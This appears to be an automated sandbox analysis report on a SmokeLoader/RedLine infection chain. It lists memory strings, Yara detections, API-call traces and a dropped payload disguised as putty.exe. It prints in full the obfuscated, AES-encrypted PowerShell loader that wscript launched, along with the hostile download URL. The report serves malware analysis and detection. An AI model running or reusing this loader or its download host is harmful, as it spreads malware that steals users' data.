Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/f
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fd
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdj
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjs
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjsk
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf8
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88c
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cv
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/y
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yu
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yum
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumb
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/p
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/pu
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/put
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putt
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty.
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty.e
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty.ex
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exe
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exep
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000005.00000000.1622386973.0000000009237000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDE8B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSA4
Source: explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSd
Source: explorer.exe, 00000005.00000000.1620819435.000000000702D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000000.1622386973.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark
Source: powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1b2aMG.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYTL1i.img
Source: powershell.exe, 00000002.00000002.1578053595.0000022BEE91C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comer
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.1624538584.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/EM0
Source: explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com48
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/predicting-what-the-pac-12-would-look-like-after-expansion-wi
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.edrecib.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.putty.exe.600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.putty.exe.5f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.5b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1568194811.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1807981755.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 6012, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)			Jump to behavior

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	4_2_00402F8F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004013BF
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00401412 NtAllocateVirtualMemory,	4_2_00401412
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013CA NtAllocateVirtualMemory,	4_2_004013CA
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014D3
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013D9 NtAllocateVirtualMemory,	4_2_004013D9
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013E0 NtAllocateVirtualMemory,	4_2_004013E0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013F0 NtAllocateVirtualMemory,	4_2_004013F0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004013F4 NtAllocateVirtualMemory,	4_2_004013F4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014F7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014B5
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	7_2_00402F8F
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004013BF
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00401412 NtAllocateVirtualMemory,	7_2_00401412
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013CA NtAllocateVirtualMemory,	7_2_004013CA
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014D3
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013D9 NtAllocateVirtualMemory,	7_2_004013D9
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013E0 NtAllocateVirtualMemory,	7_2_004013E0
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013F0 NtAllocateVirtualMemory,	7_2_004013F0
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004013F4 NtAllocateVirtualMemory,	7_2_004013F4
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014F7
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014B5

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_0040D241	4_2_0040D241
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_0041180C	4_2_0041180C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00413211	4_2_00413211
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004112C8	4_2_004112C8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00411D50	4_2_00411D50
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_0040D241	7_2_0040D241
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_0041180C	7_2_0041180C
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00413211	7_2_00413211
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004112C8	7_2_004112C8
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00411D50	7_2_00411D50

